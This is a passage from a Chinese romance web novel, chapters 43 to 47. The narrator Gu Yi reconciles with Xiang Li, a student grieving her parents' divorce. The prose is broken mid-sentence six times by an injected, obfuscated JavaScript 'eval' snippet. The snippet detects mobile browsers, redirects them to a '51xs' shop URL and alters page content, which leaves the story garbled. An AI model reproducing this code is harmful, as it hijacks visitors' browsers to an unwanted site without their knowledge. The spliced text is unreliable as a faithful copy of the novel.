相黎吐完之后,喝了一口苏打水漱口,双手枕着头,又趴在了桌上,说道:“我再睡会儿就走,不好意思……” 我搬来一张椅子,静静坐在了她身旁,她似乎是把我当作了饭店服务员,说了一句道歉的话后,昏昏沉沉,又睡了过去。 桌上的菜依旧是我和她来这家饭店吃饭时常点的菜,她一个人在这吃,也照着两个人的分量点满了菜,酒杯旁还放着一包拆了封的五星皖烟,顺过烟看了一下,烟抽了几支,熄灭的烟头尽数散落在她的脚边。 我的心一阵绞痛,以前我和她出来喝酒,会买这个烟抽,因为在一般的饭店里面,五星皖烟是最便宜的烟,再往上全是徽商、中华之流,我一个穷学生实在负担不起。 这一桌的配置和我们两人吃饭的搭配无异,唯独现在只有她一人。 我出门告诉高炜现在的情况,让他先回学校,我留下来等相黎酒醒。 …… 她睡得很沉,以至于我在旁边吸了很多支烟,她都丝毫没有察觉。 一阵手机铃声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039932|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响起,我摸出手机才发现是她的电话来了,我寻着铃声来源,在她脚边的垃圾桶找到了她的手机,手机上沾满了她的呕吐物,拾起手机用湿巾擦干净后,手机屏幕来电联系人赫然显示着:妈妈。 相黎的一切伤痛,全数来源于她爸妈的感情不和,看着她妈妈的来电,我心里燃起一阵不平之火,不顾她的隐私,我接通了电话。 “妮妮,怎么一直不接电话?是妈妈不好,你恨妈妈,妈妈不怪你,奶奶下午病倒住院了,你回来陪陪妈妈好不好?妈妈一个人撑不下去了……” 电话那头的女人声音很疲惫,听不出一丝生气,我愤愤不平的情绪一下子被浇灭,我一个局外人体会不到当事人的苦衷,有什么权利去指责她? “阿姨,您好……” “你是什么人?相黎的手机怎么在你那里,发生什么事了?相黎人呢?” 一瞬间,她妈妈重新抖擞了精神,涉及女儿的人身安全问题,她一下子便激动了起来。 “相黎没事,她晚上吃饭时喝了点酒,现在趴桌上睡着了,我们几个同学都在等她,您不用担心,待会她醒了,我让她给您回电话!” “相黎这孩子被我们宠坏了,麻烦你们多照顾一下,阿姨谢谢你们了!” “阿姨,相黎人很稳重,不需要我们照顾,她喝酒的原因我知道,她爱她的家,爱她的爸爸妈妈,她做所有事情的出发点都是想维持家庭和睦,我从小是单亲家庭,我太能理解这种痛苦了,不要看相黎这么大了,她还是个长不大的孩子……” 接下来,我将相黎这些年心里的想法和独自承受的痛苦,全说与她妈妈听,祈望着相黎妈妈能理解女儿牺牲自己的梦想来挽救父母婚姻的苦心。 听着相黎妈妈在电话那头泣不成声,我挂断了电话,点上了一支烟,等着相黎酒醒。 看着她醉酒后熟睡的模样,我心灵中的倔强城堡坍塌了,我摘下了倔强冷漠、孤傲的面具,想再做一次为公主冲锋的骑士。 第43章 互相折磨 接连抽了好几支烟,包厢里的烟味有点浓郁,我叫了几瓶苏打水,放在桌上,等她醒来喝。 此刻的她像是陷入了长达一个世纪的梦境,我急切地想闯入她的梦,去窥探那个神秘的世界。我渴望在那里找到她的伤口,用温柔的抚慰将她带回到这个更加残酷不仁的现实中。 趁着相黎沉睡的这段时间,我心里涌起莫名的冲动,我用相黎的生日解锁了她的手机密码,手机上全是她妈妈发来的微信消息和未接电话。那些红色的未读标识,是一个个急切的呼唤,我的心随着她和她妈妈的聊天内容而一阵阵地刺痛起来,每一个字、每一句话,都仿佛是一把尖锐的小刀,轻轻地划开我的心。 我发现,不仅是相黎,她妈妈在离婚后似乎显得更加无助,和相黎之前说的一样,她的父母并不是感情破裂,而是陷入了一种情感和现实上的困境。聊天记录中的字里行间,无不充斥着她妈妈对这段婚姻的深深后悔,以及失去相黎爸爸后的无尽痛苦。 相黎的奶奶突然间病倒,这个突如其来的变故使得她妈妈瞬间手忙脚乱。一边忙活公司的事脱不开身,一边又没人照顾病号,她急迫地想让有一个人能陪在身边。 我不想过多关注相黎的家事,便退出了她和妈妈的聊天记录,滑动之下,备注为“笨蛋小排骨”的联系人出现在我的视野中,我的心微微一颤,因为这是我的微信号,她并没有删除,即使这个账号已经将她拉入了黑名单。 我点进和“笨蛋小排骨”的聊天界面,鼻尖有些发酸,我拉黑她过后,她每天都在给我发着带红色感叹号的消息,诉说着自己藏在心里的痛苦。 浏览着她的手机联系人、抖音好友、qq好友,她并没有嘴上说得那般无情,全数保留着有关我的痕迹。 我那颗原本麻木的心,此刻狂颤不止! 接着我打开她的抖音,看着最近的几十条系统消息,消息显示她的抖音账号最近有数十笔消费,全是为我的抖音直播和视频投的引流,引流费用竟然高达两千多! 得知真相后,我不免有些心碎,哪有什么直播天才?哪有人刚开直播会有那么大的流量?我顾懿又不是哪个大人物,这样的泼天富贵怎么会砸中我呢? 我颤抖着手,点了一支烟,努力平息着自己的情绪。 …… 半晌后,我看见她的手指无意识弯曲了一下,呼吸也逐渐变得急促,嘴里喘着粗气。我拧开了一瓶苏打水,随时准备递给她。 她忽地坐起身,动作有些慌乱。双手猛搓两侧的脸颊,然后将额头上被汗珠粘住的发丝轻轻撩到耳后,双眼不明所以地盯着前方出了神,丝毫没有注意到身旁坐了个人。 “醒了?”我出声将她从朦胧半醒的状态拉回现实。 她微微一怔,缓缓侧过头,不可置信地望着我,深深眨了一下眼睛,痴笑道:“这么熟悉的烟味,看来不是梦啊……” “先漱漱口吧!”我递过拧开的苏打水,无奈道:“我宁愿是梦,我不想见到你这个样子!” 她默默地接过苏打水,眼神中闪过一丝复杂的情绪,然后一口气喝下一瓶,陷入了沉默。 我打破了这压抑的沉默,“刚才你妈妈打电话来了,你手机在垃圾桶里,我捡起来弄干净了,电话我帮你接了,你妈妈有急事联系你,你赶紧给她回个电话……” “谁允许你多管闲事的!”她的情绪似乎有些激动,然而,那逐渐升高的怒气,还没等她完全调动起来就迅速平静下去。她长舒一口气,拿起手机解锁后看了通话记录,然后缓缓开口道:“你和她说什么了?” “没说什么,就让她不用担心,你妈妈有急事找你,让你回电话!” 我顺过桌上的烟,点了一支,顺势将烟放到口袋里,说道:“没收了!” 她只是淡淡地看了一眼,没有任何反应。接着,她拨通电话,走出了门。 …… 相黎出去后,我一个人坐在包间里抽着烟,时间已经快晚上十点,饭店里的人越来越少,我看着桌上基本没动筷子的菜,心绪不宁。 抽完一支烟后,相黎回到了包厢,她看起来醉意已经基本退去,眼神中多了几分清明,只是眉宇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039933|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间还残留着一丝疲惫。 “给我一支烟!” 她语气中带着一丝倔强,伸手想要回她的烟。 “不行!” 我果断拒绝,神色严肃地说道,“绝对不准抽!抽烟百害而无一利,你不能沾!” “那就让我在这闻你的二手烟?危害不是更大?” 我看着她这副模样,又是无奈又是心疼,放缓了语气说:“相黎,听话,抽烟真的不好……咱别抽了,好不好?” 我的话让她一时沉默,她静静地看着我。她心中有许多的烦恼和压力,但抽烟并不是解决问题的办法。我默默地将手中的烟掐灭,决心不再让她受到二手烟的危害。 “咱们这么互相折磨,真的好吗?” “我说的话那么绝情,你一点都不难过吗?我不值得你同情!我们各走各的路,对谁都好!” 她的声音颤抖,眼眶泛红,却倔强地不让泪水落下。 “可结果是对谁都不好!” 我凝视着 她,心痛不已。 她闻言潸然不止,哽咽道:“顾懿,抱抱我……” 她靠在我的肩膀上哭泣着,热泪顺着衣领流进我的胸膛,浸润了我干涸的心。 不知道是因为眼泪已经流干,还是别的原因,她不再啜泣,轻声在我耳边说道:“顾懿,你和寒艳更合适,我只会给你带来痛苦,我知道你的人生其实也并不快乐,你才更需要寒艳那样的,能理解、能宽慰你的人在身边,忘掉我吧!” “我和寒艳太熟,熟到只能做朋友;我和你太熟,熟到做不了朋友!最后的结果只能是爱人和陌生人,两个不幸的人为什么一定要形同陌路呢?为什么不能搀扶着对方,慢慢变得幸福呢?” 我问:“你能忘掉我吗?” 她摇摇头,泪水再次涌上眼眶:“每次想到要离开你,我的心就像被无数根细线紧紧缠绕着,每动一下都疼得厉害。那种痛苦让我无法呼吸。我不断地告诉自己要坚强,要果断,可我就是做不到……” 当休止符出现的时候,应该是转调的开始,而不该是曲子的结束。 第44章 爱我别走 我静静地坐着抽烟,满房间的烟味已经遮盖不住她的悲伤,烟味在这一刻是咸的,全是她眼泪的味道。 “早点回去休息吧,我给你叫辆车!”我抽完一支烟,站起身说道。 “送我……”相黎坐在位子上,伸出手示意我牵她。 我牵着她的手,到前台给她结了账,她本想抢着结账,看到我执意的眼神,她乖乖靠在我身上没有言语。 从宁国路打了辆车到翡翠湖畔,相黎闭着眼睛,头靠在我肩上睡了一路,到地方她依旧睡眼惺忪,挽着我没有放手的意思。 “你慢点,我回去了!” 缓缓解下相黎挽住我的手臂,她却搂得更紧,朦胧的双眼委屈地望着我。 “我们已经分手了……”我用赌气的语气说道。 即使当初她提出分手的时候,往后的一个多月里我的生活里遍布阴霾,但是见到她孤身一人买醉的时候,我碎成一地的心渐渐有了凝聚的迹象。 因为我深深地知道,分手后她的日子也并不好过,一方面家里的变故摧残着她;另一方面,她还在为我,为她曾经的男朋友,默默付出着,一次次在我们曾经吃过饭的地方缅怀,吃着回忆里的菜,喝着回忆里的酒,抽着回忆里我爱抽的香烟。 “是啊,我明知道我们已经分手了,但我还是忍不住……你回去吧,路上慢点!” 目送着她缓步走向小区门口,我转过头打开手机准备叫车回老校区。 初春的夜,寒冷得如同冰窖一般,那丝丝缕缕的凉意,依旧能穿透人的骨髓。站在小区门口的一角,我被无尽的黑暗笼罩着,寂静得让人心里直发毛。我下意识拉紧衣服,走到一处敞亮的路灯下,顺手点了一支烟,消磨着等车的时间。 忽然间,一双手从后方紧紧地抱住了我。那熟悉的触感,让我的心跳瞬间漏了一拍。 她没回去。 “不要走!” 丢掉刚点燃的烟,我迅速回过身抱住了相黎,感受着对方身上的温度。像歌里唱的那样,这一刻我想把她抱进我的身体里面。 我浪费过太多时间,却无比珍惜这一分钟。 经历一个多月的沉淀后,我已经不知道究竟是廉价而短暂的幸福好,还是崇高的痛苦更适合我。我只明白了两个人在一起的意义到底是什么……那大概就是彼此照亮,成为彼此的避风港和精神寄托,让本来就平淡的生活感到一丝美好,在每一个情绪低落的夜里有个依托。在平庸无望的时候发现更好的自己。有些话无法对父母说出口,对朋友说又差一点意思,但和对方说就像是给无处安放的灵魂找到了一个可以依靠的港湾。 …… 我和相黎一起回到了她住的地方,进门我就看到了玄关上她摆放着的鞋子和柜子上的各种小玩意……还有客厅里那张熟悉的沙发,我们曾在上面一起躺过无数次,坐垫上似乎还留存着我们的温度,每一处褶皱都记录着我们一起欢笑的瞬间和紧紧相拥的回忆。 她在卫生间洗澡,我关上阳台的门,独自在阳台上抽着烟,月光皎洁,映射在我身上,我别无所求,只想被月光浸透。 我和她根本忘不了彼此,忘不了曾经真真切切爱过的人,我们不想再彼此错过,因为在经历一段时间痛彻心扉的孤独过后,我们深刻地知道,错过眼前这个人,错过的将会是整个人生。 不一会儿,相黎擦拭着头发上未干的水珠,轻轻地推开了阳台的门。她的发丝还带着微微的湿气,在月光下闪烁着如丝般的光泽。 “你要洗澡吗?”她问。 见我有些犹豫,她紧接着又补充道:“贴身衣服我这里还有一套,上次你洗了没带走,我衣柜里很干净的,过了大半年应该也没什么细菌,如果你不嫌弃的话……” “我自己的衣服我嫌弃啥?在你的衣柜里珍藏了半年,应该更香了!” 我云淡风轻地回应着,夺过她手里的毛巾,帮她擦拭着头发,我带着调侃轻声问道:“我洗完澡有衣服穿,我那小兄弟有衣服穿吗?” “你……” 相黎刚一开口,声音却又戛然而止,她咬了咬嘴唇,眼神中带着一丝羞涩和慌乱。 我们靠得很近,能清晰地感受到彼此的温度和气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039934|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息。相黎身上散发着淡淡的清香,那是一种让人沉醉的味道。 我凝视着她,双手穿过她的发间,笑道:“不给小兄弟穿衣服?你让我晚上睡沙发,真不怕我着凉?” “你先去洗澡,我……” 相黎的声音如同蚊子哼哼,眼神闪烁不定,有些小心翼翼,如同一只胆怯的小鹿,不敢与我对视。 “你什么?” “我叫外卖送……” 她的声音越来越小,最后几乎微不可闻。 我轻轻抬起她的下巴,让她看着我的眼睛,嘴角带着一抹坏笑:“送什么?不会是送你自己吧?” 相黎的脸更红了,她轻轻推了我一下,娇嗔道:“你讨厌啦!再贫睡沙发,我不心疼你!” …… 洗完澡后,我和相黎窝在沙发上,看着老电影。 相黎依偎在我的怀里,她的发丝散发着淡淡的清香,熟悉的味道让我的心不由自主地沉醉。她 再一次问起我:“顾懿,你老实说,之前我说你是我爸爸的替代品,我和你谈恋爱是为了模拟父母爱情的时候,你在想什么?” “我啊,就想着女儿到了叛逆期,不乖了!不听爸爸的话了!” 听到这句玩笑话,相黎立刻抬起头瞪着我,掐了一把我腰间的肉,说道:“不许拿我爸爸开玩笑!” 我装作很疼的样子直叫唤,看到我的反应,她这才松手,又重新软软地躺下,语气中带着一丝落寞与愧疚,轻声道:“我明白的,你肯定很恨我,我要是出现在你面前,你都恨不得掐死我!” “我有那么可怕?就那么暴力?” “反正我想掐死我自己……在所有感情面前,我都无能为力,我不想拖累你,你值得幸福!” 我搂紧相黎,双手穿过她的指缝,与她十指相扣,郑重道:“笨蛋,你要记住!不管是爱情、亲情,还是友情,只要你在意那个人,就永远不要对他冷冰冰,即使疏远是你的谎言!这一次,是你患得患失了……” “我欺骗了你,也欺骗了自己,我罪有应得……” 第45章 为你流过血 …… 与相黎缠绵至深夜,那无尽的缱绻仿佛让时间都为之静止。我们紧紧相拥,彼此的温度交融在一起,情感在这一刻似乎攀升到了一个前所未有的高度。 成熟的爱情是一种有性关系的友情,彼此愉悦,相互回应。 当她赤裸着躺在我怀里的时候,我在她的身体里找到了一股遗失的生命力。 在没有灯光的房间里,我对她说:“除了流血,我好像为你流过一个男人能分泌出的所有液体!” 相黎听后,抱着我的手臂狠狠地咬了下去,一阵强烈的痛感袭来,我冷嘶一声,但没有挣扎,我真切感受着那股疼痛,任凭着血迹从我的肌肤里溢出。 “现在,你为我流过血了!顾懿,我也为你流过血,你要记得!” “男人不怕流血,真正能感觉到痛的是流泪……” 我穿上衣服,走到窗台边上,拉开窗帘,让月光照射进来。月光如水,洒在我的身上,带来一丝清凉。我回过头看着藏在被子里的相黎,她的眼睛在月光下闪烁着光芒。 “你看,黑夜脱光了我的衣服,献给月亮,而月光皎洁,从不亵渎,所以我可以安心地睡;白天把我的衣服穿上,献给太阳,而阳光炙热,刺痛我的肌肤,所以我希望天是黑的。你不在的这段日子,我从不希望有白天……” 说着,我走回挂外套的衣架旁,想从外套口袋里摸支烟出来抽。 相黎问:“你在找烟?” 我点点头。 她又问:“顾懿,你为什么抽烟?因为生活不如意,烦心事太多?或者说单纯地只是有烟瘾?” 我点上一支烟,抽了一口,烟草的味道在口中散开,答道:“你不是看着我一步步学着抽烟的吗?好像不抽烟,就不是一个合格的吉他手,抽得多了,习惯性成瘾了……不开心的时候,牺牲自己的健康,抽上一支,确实会舒服一点……” “什么事情会让你不开心?” “人不开心的原因只有一种,就是在想得到的时候却意识到自己在失去!对了,你之前说要出国追求自己的大提琴梦,是已经做好决定了吗?” 相黎听后,陷入了沉默。半晌后,她细声问我:“你想我出国吗?” “你想做什么我都会支持你,就像你说过的,允许相黎是相黎,顾懿是顾懿!” “但你会不开心的,对吗?”相黎的目光紧紧锁住我。 我又深深吸了一口烟,让烟雾恣意闯入我的肺里。 “浓烈的事物都和烟一样,有小剂量的毒,和你在一起这件事,使得这毒又多了刻度!” 许久过后,相黎抱着被子坐起身,她的发丝有些凌乱,却增添了几分动人的韵味。 她神色无比认真道:“我不走了,我想和你在一起!我太害怕一个人了,孤独对我来说是毒药,我不想学着一个人去面对孤单……” 转过头,她默默地看着我,继续缓缓说道:“现在,现成的解药就摆在我面前,其他的一切我都不想要了!” “那你的梦想呢?那可是你倾注一生都想要热爱的东西啊!” “过年那段时间,我一个人在海南旅居的时候,很多事情都想明白了,热爱既然能被称之为热爱,就是因为它纯粹,我没必要把梦想、热爱的事物当作职业,孤单的时候能为自己演奏一首曲子,这不就是热爱的意义吗?” “我们俩的人生似乎是对称的,我学着自己本专业的课程,却想着玩音乐,而你原本的归宿便是音乐,却学着非音乐的专业;我出生在三四线城市的乡下,渴望着大都市的繁荣,而你的起跑线就是我的终点,却总想着逆着人生跑道往我的奔跑……命运跟我们开了一个玩笑!” 相黎听着我的话,释然地笑了,说道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039935|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两个孤单的灵魂不会偶然相遇!我们俩也真是有趣,竟都想成为对方!明明我们双方都在内心深处鄙视着自己,可在对方看来却是多么的光芒万丈!近看之下,没有哪个人是完整的……顾懿,你身上有太多我向往的东西……” 其实从某种意义上说,没有人能真正爱上任何别的人,他们只爱对方身上属于自己的东西,或者说他们假设属于自己的那样东西。 我抽着烟,闭上眼,痴痴地笑着。 “顾懿,给我点支烟!”相黎突然说道。 我毫不犹豫地拒绝:“不许抽!” 相黎的语气坚定,“那你也不许抽!把烟戒掉!” “这话可不像从你嘴里说出来的话!你变了……” “我变了,你也得改变!没有什么不开心的必须用烟来缓解!” 我缓了一口气,坐到床边,注视着她的眼睛道:“没有什么比你离开我,更让我难过的了……” …… 一夜交心过后,相黎不再执着于她父母破碎的婚姻,至少看起来是这样,她一早便赶往新桥机场,乘机回上海去陪她妈妈。 婚姻原本就是平淡无奇的,日常生活的单调重复,双方都会逐渐视对方的存在如同空气和水,而那种所谓“绝对的爱”终将渐行渐远。 我曾一度陷入这个无解命题的危机,思索着自己和相黎的各种不搭配,她父母原本热烈,如今却破 碎的婚姻更是验证着这一点。可这段分开的日子让我们明白,面对这个爱情上的阳谋,我们回避、躲闪、辗转腾挪都毫无作用,既然来的总是要来,迎着刀锋而上,恐怕是最好的选择,起码故事的最后不会后悔。 我这个人孤单惯了,得过且过,没有信仰。爱上相黎这件事,就好像创造了我的信仰,让我侍奉着那个名叫“爱”的、随时会陨落的神。 …… 第46章 记住,背我回家! 和相黎的离别在一个冰冷的冬天,她重新回来我的世界,我便不再害怕冬天。 冬天是这个春天的上联,欲扬先抑的上联,它用寒冷和寂静为这个世界写下开篇,而我们,就像一群充满斗志的墨客,正在用自己大学最后的青春认真书写着下联。 接下来的两个多月里,阿乐和万琛顺利通过了复试,他们唯一需要做的就是做好毕业设计的收尾工作;和高炜预料的一样,钟璇成功上岸,他自己没选择调剂,找了家南京公司的工作。 虞寒艳参加了今年的省考,成绩久久未出,不知道结果如何。 我也很快就要失去在校生的这层身份,这层身份对未经世事的少年来说,是尚方宝剑,是免死金牌;对我而言,可能只是一纸青春的推恩令。 …… 这段时间,相黎常是合肥与上海两头跑,她奶奶住院让没操心过家庭的妈妈变得手忙脚乱,她妈妈只能白天上班,晚上去医院陪夜照顾奶奶。 因为这个,她妈妈还常被奶奶斥责眼里没活,总要等她指一枪才打一枪。 她妈妈自然觉得很委屈,因为这么多年她缺乏照顾人的经验。 无奈之下,考虑到自己的公司和相黎的学业,她妈妈请了一个护工在医院照顾奶奶,奶奶又不愿意了,牢骚不断,不止一次说,羡慕老伴儿走得早,好歹有女婿照顾得细致,不像她,被护工像翻咸鱼一样粗鲁地翻来翻去,外人哪有自家人用心? 老人家的这种态度,让相黎母女很不高兴。 相黎常和我抱怨,她奶奶其实一直都不喜欢她爸,总觉得外地的穷小子高攀了她优秀的女儿。每次爸妈一有矛盾,脾气火爆又护犊子的奶奶就跳出来训斥爸爸:房子车子都是我们家买的,你一条光杆司令过来!钱也是我闺女挣的,你吃她的住她的,有什么资格在她面前耍威风? 她奶奶总跟女儿说,家里的财产都得捏在手里,摊上一个凤凰男女婿,一定要剪了他的翅膀,让他翻不了天! 再火热的心,被一次次伤害,也会慢慢变凉吧? …… 相黎说,这段时间在医院照顾奶奶的时候,奶奶时而唠叨又时而叹息,让她劝劝妈妈,去跟爸爸服软说好话,让爸爸回来。 相黎忍不住问奶奶,让爸爸回来,是想得到她爸的照顾,还是真心想他跟妈妈复婚? 奶奶久久沉默,半晌后她才说,对不起他爸。她女儿这性子,要是没相黎爸爸在,以后日子会更难过。 等到人走茶凉的时候,他们才发现:这么多年,一家人一边享受着相黎爸爸的照顾,一边无视他的付出。尤其是相黎妈妈,把爸爸对她的好视为理所当然。 人的心只容得下一定程度的绝望,就像海绵已经吸够了水,即使大海从它身上流过,也无法再给它增添一滴水。 这个世界上,谁都没有义务无条件地对一个人好。 …… 这天晚上,相黎从上海回学校,又打电话给我,约我在宇哥的小酒馆。 近些日子,相黎厌倦了两个城市奔波,不仅是她,这个城市厌倦了聒噪和快节奏生活的人,都喜欢在暮色沉沉的夜里,来这里喝杯小酒,听一听小酒馆里的轻音乐,丢弃生活上的烦恼。 进了酒馆,相黎已经在我之前来了店里,能看得出她很憔悴,估计是刚下了飞机,便直接赶到了这里。 我和宇哥寒暄了几句后,在她的对面位置坐了下来,问道:“最近累坏了吧,咱俩好些天没碰过面了。” 相黎的头发长了很多,却没花时间去理发店打理,她将两侧的垂肩发拨至肩后,端起酒杯喝了一口,回道:“身体不累,心累!现在都知道爸爸的好了,晚了!爸爸离开后,我们所有人都经历了一阵难以言说的疼痛……哥哥有事业,没时间顾家,我现在是学生,没什么脱不开身的事情,等我毕业有了自己的事业,谁去陪妈妈?” 陪着她喝了一杯酒,似乎很少有人愿意对着一杯酒诉说着生活的脆弱,真正需要的是对面陪伴喝酒的人。 “怎么,又想抽烟吗?” 她看着我喝完一杯酒后显得有些不自然的样子,摇了摇头,侧过身,从身旁的包里拿出一条烟递给了我。 “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039936|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是?” “烟这东西,就知道你戒不掉!这次回了趟家,家里还有一些爸爸没抽完的烟,他离开的时候什么也没带走,烟放家里也没人抽,带给你了!” 我接过烟,是一条已经拆过,但只少了两包的熊猫香烟,市面上我没见过这种香烟,拿了一包后,将剩下的还给了相黎。 “少抽多滋味,以后要是想抽这烟,再去你那儿拿,你可不能偷偷地抽啊!” 相黎摇头笑了笑,表示不会。 我抽着烟,她在对面盯着我看,直到我抽完一整支烟,她才疲惫地开口说道:“等酒馆驻唱下场休息的时候,你去接上,唱给我听。” “想听什么?” “你想唱什么都可以,你在上头唱,我坐这头听,我有点困了,你记住等我睡着了,你要负责背我回家……” 看着她疲惫的模样,我知道她有着近乎残酷的脆弱,有着近乎残忍的决心,以及极度渴望被 爱的孤单,我全知道。 但我什么也没说,也说不出来,我没告诉她我的心和她的倦意一样黯淡下来。那就用歌声来让她抛弃世俗的烦恼,做个美梦吧。 和宇哥说明情况后,我接过驻唱的吉他,上台演唱的曲目是tizzy bac的《you’ll see》 “我看着站在远方的你 依然如此美好如往昔 but you know 有些话就是不能明说 我看着站在眼前的你 依然如此美好如往昔 but you know 有些话就是不能明说……” “在这个匆忙的世界里 失去什么受不受伤都一样 but you know 只有你是如此绝对不同 不奢求哪天我不要人懂 总在心底偷藏起这小美梦 这样的温热就已经足够 一个人渐成熟就会笑着泪流……” 她和我一样,在很多人生节点都没有学会转弯,偏执让我们如花在野横冲直撞,偌大的田野就像一场巨大的幻觉,雨是蒸发的云,离别是梦的载体,花逢雨落,梦随离别醒来。花落梦醒,我们不再害怕离别,我们只想做高山上的杜鹃,只为一次无憾的春天。 第47章 顾懿其人 刚唱完这首歌,我就远远地看见,相黎身子伏在桌面,双臂交叠着垫在脸下睡着了。 下台和宇哥一起抽了支烟,短暂寒暄过后,我便依相黎所说,背着她打了辆车回到住处。 下车后,也不见相黎有什么起色,依旧是睡眼朦胧,毫无精神。我将她的包横挂在脖子前,双手兜住她的腿,缓步背着她进了电梯,最后来到21层的房门前。 这间房子的门用的是智能锁,我轻微掂了掂背上的相黎,轻声问道:“大小姐,到家啦!密码多少?” 她细声回道:“生日。” 放下相黎,她身子直接软了,靠在了我身上,我把她的六位数生日号码输进去,显示密码错误。 “不对!你过农历生日还是阳历生日?” “真笨!是你的生日,用我自己的生日做密码不安全。” 相黎抖擞精神,意味深长地白了我一眼,输完密码进屋后,直接躺在了客厅的沙发上,她仰起头问我:“有没有想好毕业后做什么了?” “春招的时候,投了一家上海的房地产公司,那几天凑巧有些棘手的问题,没去面试;后面想着可以做自媒体,可我也不像是这块料……” 相黎闭上眼睛,若有所思,片刻后她又说道:“你怎么就知道你不是那块料?你的直播我看了,挺好的,并不比那些网红差!” 我终于有些动容,拿出她今晚送我的熊猫香烟,点上狠狠吸了一口,我带着一丝质问的口吻说道:“我的账号内容有什么吸引人的地方?你看看我的那些视频和直播数据,要不是你在后台投了流量加持,我能有现在这个效果?相黎,不要再骗我了,好吗?真的,我不需要你这种善意的谎言……” 相黎眼中闪过一丝慌张,立刻又恢复如常,她坐起身,叹了口气,正色道:“看来你已经知道了……但你忽略了很重要的一点,你才刚做直播不久,平均每场直播下来,收益也是很可观的,涨粉速度也快于常人……如果你说这是我给你引流的功劳,我承认!有那么一点关系!但是如果仅仅因为投了流量加持,就能取得这样的成绩,那直播这碗饭也太容易吃了!随便来个人直播,给点流量加持就可以成功,哪有这么简单!” “顾懿,你把自己看得太低了……过年期间你直播的时候,我之所以给你买流量,完全是想让更多人看到你的才华,听见你的歌声……事实证明我的看法没有错,你和吉他在一起就是1+1>2的存在!那些被你圈粉的人一定也是这么觉得的!” 我木然地、僵硬地坐着抽烟,好久答不上话来,看着相黎极其认真的目光,我心里好像有什么东西被触动了。一支烟抽完后,我回应道:“音乐于我而言,还是当作枯燥生活的调味剂更好,将热爱的东西职业化是一件很可怕的事情!” 相黎紧盯着我的眼睛,强烈地想从我眼里得到答案,随后她也不再坚持,长舒了一口气,说道:“如果你想的话,可以向宁致取取经,他在这方面有经验。” 检索到“宁致”这个关键词,我不假思索地脱口而出:“我不想!” “那你想做什么?毕业在即,咱俩总不能当一对无业游民吧?就算咱儿想当无业游民,不签一个三方协议辅导员能让咱儿顺利毕业吗?” “做什么都可以,能养活咱俩就行,我对人生没什么追求……” 听完我的话,相黎闭上眼,把身体张成“大”字形,又躺了下去,她重重呼了一口气,对着天花板说道:“我问问实习的公司还有没有岗位,实在不行的话,咱俩一起当个社畜得了!” 我心里其实一直有个疑问,按理说相黎的家庭条件在上海并不算差,为什么不选择回家继承家业,或者索性躺平,做她的千金大小姐,去享受人生?她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039937|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 